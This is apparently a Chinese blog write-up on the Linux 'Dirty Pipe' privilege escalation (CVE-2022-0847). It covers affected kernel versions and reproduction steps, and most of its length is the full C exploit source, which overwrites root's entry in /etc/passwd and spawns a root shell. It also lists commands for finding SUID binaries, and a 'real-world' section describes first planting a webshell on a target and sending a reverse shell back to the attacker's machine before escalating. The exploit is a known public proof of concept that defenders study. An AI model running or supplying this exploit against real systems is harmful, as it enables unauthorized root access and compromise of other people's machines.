0x00 漏洞概述
CVE ID | CVE-2022-0847 | 时 间 | 2022-03-07 |
---|---|---|---|
类 型 | LPE | 等 级 | 严重 |
远程利用 | 否 | 影响范围 | |
攻击复杂度 | 用户交互 | ||
PoC/EXP | 已公开 | 在野利用 |
0x01 漏洞详情
3月7日,研究人员公开披露了Linux 内核中的一个权限提升漏洞(CVE-2022-0847,也称为“Dirty Pipe”),允许非特权用户注入和覆盖任意只读文件中的数据,导致权限提升,并最终获得root权限。该漏洞影响了 Linux Kernel 5.8 及更高版本,甚至影响了Android设备。
CVE-2022-0847漏洞类似于 2016 年修复的 Dirty COW 漏洞 (CVE-2016-5195),但它更容易被利用,目前此漏洞的PoC/EXP已经发布。
0x02 影响范围
Linux Kernel 版本 >= 5.8
Linux Kernel 版本 < 5.16.11 / 5.15.25 /5.10.102
0x03 漏洞复现
在本地Kali提权
1、查看基本Linux系统信息
2、先将EXP这个C文件编译成二进制可执行文件
gcc -o exp dirtypipez.c
chmod +x exp
3、输入下面这三条命令中的任意一个
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
4、使用刚刚编译的exp
./exp /usr/bin/chsh
5、成功提权
实战环境下的提权
1、先获取webshell,进行信息收集,发现目标系统版本符合这个漏洞
2、上传c文件并且编译,然后使用find命令提权
可以看到,无效,这时候进行bash反弹shell到攻击机上
3、再次使用这些命令
4、成功提权
0x04 漏洞原理
暂时没有特别深入研究,目前只知道和环境劫持提权差不多
环境劫持提权
环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令
寻找suid文件
find / -perm -u=s -type f 2>/dev/null
github上的POC复现
github上的POC,没有利用这个带有suid的进行提权。毕竟带有suid的权限文件会有局限性。假设机器上不存在suid,就不会有这种提权方式。
在github上,这个大佬可真是皮啊
使用github上这个大佬的C脚本,无法提权成功。后来在网页上找了一个别人的C文件,提权成功了
https://www.cnblogs.com/xiaozhi789/articles/15979225.html
特此将这个大佬的代码贴在下面保存一份。
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv) {
const char *const path = "/etc/passwd";
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) {
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF)
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root"
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
printf("Setting root password to \"aaron\"...");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
system("/bin/sh -c '(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell...\\\";"
"sleep 2;"
"echo \\\"(run commands now)\\\";"
"/bin/sh;" // one shold work
"\" root'");
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
具体复现过程
1、将上面那段代码保存到一个C文件里面,然后gcc编译
2、编译后直接运行就可以提权了。
0x04 总结
1、这次的提权,和之前的那个CVE-2021-3034 Linux pkexec提权类似,在实战过程中要先反弹shell到攻击机上,然后再使用提权命令
2、这次的提权使用到了find命令,也就是环境劫持提权,有兴趣可以继续研究一下。